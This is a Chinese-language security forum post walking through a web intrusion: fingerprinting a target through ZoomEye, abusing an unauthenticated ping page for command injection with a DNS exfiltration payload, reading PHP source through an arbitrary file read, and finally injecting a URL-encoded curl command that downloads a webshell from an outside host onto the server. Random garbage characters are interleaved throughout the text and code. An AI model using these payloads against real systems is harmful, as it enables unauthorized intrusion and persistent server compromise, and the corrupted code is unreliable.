中国网络渗透测试联盟

标题: Web安全之实战通过os命令注入漏洞getwebshell [打印本页]

作者: admin    时间: 2022-3-31 01:39
标题: Web安全之实战通过os命令注入漏洞getwebshell
[md]**一、
( M# T0 W; n1 t7 P7 F  \** **寻找突破口**, g6 j  Z* Y/ Q" ^

9 k% `, B& F  Z9 m' U**经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:**8 ]# }( `. b2 A! _. r  }; J0 E
2 D: A8 C' Z. P* D
![image.png](data/attachment/forum/202203/31/013456oll79nxwhwxz9h2l.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")! |4 q' l# \" A6 a' B: g( H

5 ?% ]' l% z/ x' @4 D; \* g' s% D: Y. P. D- G
4 k( k% \5 }0 B; L2 T0 R+ T. Z
**发现reporter和[Technology,
8 e0 n4 `* a# \' WInc.](https://www.zoomeye.org/searchRe ... title:%22Technology,%20Inc.%22&t=all)都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。**  X. J/ N. F  v8 g3 {3 `6 s

' s. Q3 S& _$ z' c1 u  g**地址为:**7 @* b1 k, @; L

  v# r" [" R! j8 A1 T- b[http://1.1.1.1//view/systemConfi ... ;text_packetsize=64](http://1.1.1.1/view/systemConfig ... ;text_packetsize=64)**,如图:**
' V$ a: v) g# M0 I1 @( l* Q2 O7 |7 Z+ e6 u$ ~
![image.png](data/attachment/forum/202203/31/013528hffsyjijhb58lhh5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")4 O- Y2 J4 z1 F2 z  P, O: f# U

9 v' }! M% s( }& f. w* x4 H
% k  m  |: Q' h! |" A: Z  |* S# ?5 A! I" [$ \
**测试ping这里的功能,发现可以绕过ping正常功能执行命令,payload为:**& y/ a9 c& o* x# X/ w
4 q/ }, f4 A- D3 U# W: @( \
**`whoami`.1111.ceye.io** **,如图:**
9 f7 e; W1 M9 P7 K) z* d9 D- r3 G1 ^& a$ j. q
![image.png](data/attachment/forum/202203/31/013559bwl0r0lrgkpm8lrw.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")8 j4 z4 T3 H) _
: Y/ ~' \5 `- e. t
5 c: {+ o5 d& g- O

9 ^, G! C( h) m**返回dns记录如图:**8 u4 m8 M: o% g6 \2 o

! Y2 J3 w! V) d) f' m& z![image.png](data/attachment/forum/202203/31/013625ei2ea2ealisblpsb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")4 v" y6 ^6 C/ k  f7 f9 V5 ~

0 r) A3 }2 S( G* ^0 a/ }) \, O, _4 W/ o( G2 ~

: B0 f  ^( @+ }0 f3 e**发现当前用户权限为root**
7 ~% A9 s# _* m3 y
" R  a, I2 n  ]/ v  W$ i# O6 U**一、
7 ?% i* F% [7 T  ^** **通过漏洞组合getwebshell**3 x3 {: T2 q7 Q9 y
& A- U+ ~2 l. e
**    ** **文章就按照挖洞顺序往下写,紧接着执行pwd命令获取web路径,如图:**
7 p- M. q6 t( y* B7 ^# R  G; q0 ]4 C; G& I$ v
![image.png](data/attachment/forum/202203/31/013656tl9z2765580yd7t8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")7 L, |9 f6 h/ W( O/ ]

; N2 c7 r& e: r/ R1 J. z
) L3 b6 s0 p; F$ C! k$ D; w7 \" a& o- t; r
**得知网站路径为:/var/www/html/view/systemconfig/systemtool/**
  I5 ?; N" P8 f' V5 |
" v/ \, f8 ]( v; b6 O+ Y  ~1 H**正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞,如下图为任意文件查看漏洞截图**
2 m6 S! k" h2 F* O- H% G, N& r, ]2 P, w# T5 y! i5 q
![image.png](data/attachment/forum/202203/31/013726cn3oj66ngggc6zz8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")1 z  G4 z" I1 v: h7 W4 Z- r7 U1 E9 r7 F
  |& c5 B2 U; c: k
**Os** **命令注入存的处为:/var/www/html/view/Behavior/toQuery.php,这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的,通过任意文件查看漏洞,我们读取一下源代码**
1 T) v: n' k; Z7 H% z, w1 x, o9 \7 ^9 R2 l
![image.png](data/attachment/forum/202203/31/013749x0i8ilbkiuelle4e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")\  }" P6 A8 ^- Q9 e7 F" m

  s# e# l, H# I9 C( V1 R& j4 G& F& E( d# H
**源代码为:**
2 x" s$ l9 N. v9 T8 d
" K: }8 ?8 C/ q! }( d' l$ e$ ^<?php
, l8 A" v' W6 n7 z0 j4 Iinclude_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php");2 B# c- f2 g) o
?>
: U3 c! @- B! T, H
( j# K# d/ ]$ \) o. B<?php
1 O: L. F$ y( }' H7 _  p1 ]! ?) g& d% D% E- g

( ^- V" q, H) h' g) ?
5 h' c" _; |) r$ usession_start ();" [4 z; z' R, c6 {; Z  `7 U

1 k# Y2 ~$ H; p5 V2 @, ?& r
/ H; J% y% ?, s$ @  n! h# i$ F3 B5 V3 @0 t6 K' @; p
# V8 j/ K# r# r9 U% v
! R. T& S6 c1 W3 C- q5 d& H/ x5 r$ A
6 r7 m& G3 J3 D) a4 |6 s5 F
8 f. Q' c( y$ q9 j
if ($_GET ["objClass"] == "")9 A$ Z; Q' F' z2 J
8 t3 A2 f# J4 D( \9 h

+ G- n& x8 D- ?( }/ m4 l/ v5 n0 d5 ~
      exit ();( J4 C# V; k% `  _
" q3 _. K  Q( \  u
% t9 p7 s: l* h* k$ G# G8 G

% A* y1 s. N  y7 y) B; u* J" K$param = $_REQUEST;2 T; U. |! A3 K+ ]: {8 x* g2 ~% s

& q0 `# `, H1 N7 b
, J! k# D2 G) E/ L; s% o0 ?" r- S+ ]3 I, \3 d) z
  F: m' U4 W1 O( l3 ?

9 `+ K: n& L, _
5 ?8 q3 S/ s6 a3 e/ o" M( q
. b. ~8 y: B7 `//echo "\n--------------------------\n";& O, K& Z! L6 S3 R+ [3 I9 w3 N  p6 Q

3 F% `* N1 I& F4 p1 ^) c$ ^
4 e8 p1 s2 K$ p' n) a$ m. @9 @% C. U
//print_r($param);8 H4 o7 `' n1 j
8 d( d. S& @3 R. F; o- c% B3 r+ Q5 M
/ H; G  H, }; ^' l0 V
3 p& U) _( r4 R! x5 q" Q
//echo "\n--------------------------\n";2 [/ {% g: H+ x! I6 F
( h! ~$ S! g: M1 V
4 J; e% W9 l; M* b1 h+ T: q7 T
+ ?% C( C4 T7 R9 j5 a: Z
[if ($_GET ["method"] ==
/ o# N) p8 {7 w! F"getList" || $_GET ["method"] == "import" ||
8 _$ o, g; [# W) w6 Q$_GET ["method"] == "processAlarm") ](){- u8 d; _. h* U$ A' I3 N
  h: [; x( O" D& j$ E$ o

7 t& d$ {) _& o/ u. P+ r' r0 w  Z  B" t1 z" i3 f% d( t
      $param
0 m- @3 y" Y) h$ i0 L% e- Y["user"] = $_SESSION ["s_userName"];- y' l9 a- q( Y4 d

& t1 P3 R. V" L2 d7 }. p% s" O0 P9 h! R6 c# w

; J5 S& A+ E+ t$ w% b% E3 s      $param5 W' I( t# Y& _' n) f& G3 M" D( I! h
["lan"] = $_SESSION ["lan"];
9 Z9 I8 Q4 Y8 I1 [
5 l, Q; q0 ^7 W" }7 t# {# {; z. x
7 t8 o2 N- b& T/ ~& _
2 [6 @- w$ z! p4 c0 v6 ^      $param
! y) @1 J9 G1 q6 @. Z8 h["regUserpath"] = $_SESSION ["regUserpath"];
. V/ E5 E: y- b% e( u1 k
5 i7 q& o/ m; ]* k- o  i& v. r6 z( }* V6 ?8 l( b  e- g( H
, L  l4 x+ v  X" o; K
    * j. L0 Y3 |9 J/ R

% r5 L4 b+ @7 Z
! C! W  J2 s( V, e8 ]' n, H3 D& y
      exec (
7 j8 J( u  V( P) ?$ A4 k1 V"rm -rf /tmp/cache" );$ J- X, W  j. n, z6 x# G5 u' c
7 l  p) I$ m4 P; O

6 s) K( `) _" K, k& t4 E9 I$ j2 Q: w3 h" y& O
      [$cmd = "/usr/local/php/bin/php ".$_SERVER+ N5 Z+ O2 g" B/ T$ n: _4 r
["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";](). r* i! e2 C6 {
$ R2 O6 I; c+ [" Y' b5 l

; H! n3 u, e2 u" Q/ I8 Z* S  L
, m. S4 [' x. s4 O0 o0 t      $cmd .=
5 q3 j- V& Z5 n3 _7 |0 b" " . $_GET ["objClass"];
* c9 Z  X: {7 |) ?3 B. h6 X- n5 ^+ t1 \$ a" a& Y
  ?+ K  o" v% Y: U0 J
2 h' `; g* X0 W! t9 _5 k
      $cmd .=8 m$ b0 x; l9 m+ d3 c
" " . $_GET ["method"];7 x5 W9 `* W# j
+ c$ P2 ?- N, W+ N' D

: ^2 l) t. X: N0 D4 o' |6 B
4 w: t  H: g( G4 l      $cmd .=
" G  B. ~8 x7 `6 `* N3 n, Z" " . base64_encode ( json_encode ( $param ) );# g3 S, t; n8 s% E! A

+ @2 P2 A7 B! g+ u  {9 `2 n. R( z( X5 ~0 b4 U* i6 P; Y0 V
' s) d6 ]: r( w% L
      [file_put_contents("/tmp/query_cmd",$cmd);]()
1 L' Y1 e- |) `/ C/ u% p6 ?
5 ]( g) f: {5 a% A  y) ^. j
( @( p# k5 Z1 E4 f6 b) \7 g  \2 y( n3 F# }) Y. v1 v' T3 `
      exec ( $cmd . "
8 N+ V7 K" O5 f4 R: H> /dev/null &" );
7 B  R) D; a# {! E; a* g$ Z+ l# T
+ i* t; l) C* o; E- D" r
5 S( B3 U( q4 A/ W6 d, O/ Q+ s6 W4 }# G, i: v

$ b! A5 ^, d3 R4 N0 T8 O1 k  l# E- [. C1 b) d
} else {4 k9 ?, {3 i- P8 `6 S+ j, e# T. C

9 e% i0 ?! H+ s& D4 P4 C& |" |  Z3 |+ c" P
4 Y% X" O6 I) g4 l4 t: ]
      require_once& y' ~4 z, ~( e5 Q* l# \6 W) h
($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");' l8 E3 i: O- y5 _5 z
& g2 m1 i) p* H5 g: s7 [

" }& g% S0 m  C4 k. x" A* A$ ~
3 x" H) n5 g* M0 ?* H4 m      $obj = new4 D# ^$ w8 p, ~3 x( e
QueryInterface ();1 @" n* g6 o+ v- X: G# S
/ B/ ~, R6 |- k0 N+ B5 Q2 a+ A
/ e9 Y8 t& [, K$ Y- i1 x7 o

5 y# y* t5 p$ g* Y) ^0 D& v      $instance =+ D# b1 G$ t0 |$ p$ G$ D9 W& h
$obj->getInstance ();/ \: e3 J$ j& X# A
) O! |: g( M  M, n& F
- h3 o/ A3 g% N# J* g

( g- [  f$ o/ n) s      $instance->invokeMethod& y* E5 D8 l7 K' b, K, w/ |2 W
( $_GET ["objClass"], $_GET ["method"], $param );
2 e) Z8 P! g7 N- p  X6 ~# J1 k, ^; ~7 S4 c; d4 L: g+ O) i
. P7 h3 i5 Z2 `  v

2 X' U$ Z4 t4 I% t. k9 g/ Y7 @  S}3 ?9 i0 V; n2 l  C' V' U$ `& U
$ g- D% x) l7 N

, q% \6 A9 r! v+ h5 `( b) V8 r
' K. V& A* J, b/ [4 Pexit ();" p8 ^; l  {: Q" C
3 j- O2 o" U; v/ Y/ \8 k

; Y% n/ B$ @+ K! p
: z: o5 P1 {3 t7 b. S5 l?>
5 @7 q% H- B- h) m% j
9 B5 Z+ ^% Q3 Y0 D**经常简单审计发现if ($_GET
+ H9 y2 s6 ?5 Y9 ~1 z' X: N["method"] == "getList" || $_GET ["method"] ==  Q# x9 ^2 B6 [+ S" t/ d
"import" || $_GET ["method"] == "[processAlarm]()"),如果method只要等于getList、import、processAlarm这其中一个,$cmd =  B1 Z' T  s0 L- B8 @! J; D0 T) h
"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .. e1 h3 B4 N" }& I( h
"[system/behavior/behavior_query.php]()";  cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);**# P% U/ N$ @) B
1 v" j7 Q9 ?* R8 i
**      exec ( $cmd
+ ]3 i; U' p8 W. "  > /dev/null &" );** **给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示**9 p$ Q0 m/ j: Y. \9 X% w
( `* T5 S4 b  x

& }, y# t# V. K# ^! [  S; _![image.png](data/attachment/forum/202203/31/013842ceg7htegblnr4nnk.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
1 Q9 }1 x' \$ a/ N6 b; y7 g8 p, g/ D0 R" W4 s1 {7 g
+ ~- R2 |# e7 M

! _( u5 O. }. {* i, f) z. _**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:**
, ^$ o+ E3 D& {3 e
8 y. n% k/ h0 l( I**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**' q! X+ R0 Z1 O

1 W9 |5 B7 J  U2 O**我们用url解码如下:**
1 K* w/ O) ^7 m3 u
2 U/ a- B: h! h' G**|curl http://1.1.1.1/qYCwxRz1.zip -o
; j6 s, e; j! P. d* T8 h: U+ c/var/www/html/images/suiji2.php||`pcurl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #' |curl http://1.1.1.1/qYCwxRz1.zip -o
& E" |; ~+ o3 n7 _) D. d/var/www/html/images/suiji2.php||`curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #\" |curl ** [**http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php**](http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php)
, }- e3 v8 ^4 O: n8 p, Y, ]2 o0 b1 u+ l, v. K- S7 \+ b
**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:**# O* Z  K+ i4 k) O: N. d; L
( I* ]! [: O* f. {% l' ]
9 q$ m3 [; i& ?1 _" ?$ @, w
![image.png](data/attachment/forum/202203/31/013922zdonl51onkonxqqz.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")" Q+ P5 i( s! \) ^3 l

/ e  I6 n! H+ N( p) L: {2 M. k8 b. Y  \& o
+ w* J7 B- n) n' g: |
8 d- ?: A- p! p2 M. Y; q7 d
**三、总结**
0 }" U& _$ [% a9 \8 m1 H; T7 F& w7 P) G" ?& V) j- o: _% `
**   ** **案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。*** \- R1 c% v! [" X8 E* [- r

% c1 L. [! d. _- w**   ** **综上所述,运气与挖洞功底同等重要,谢谢观看** **! *** x% l+ ]' |$ [. E2 P8 J$ y0 R
[/md]




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2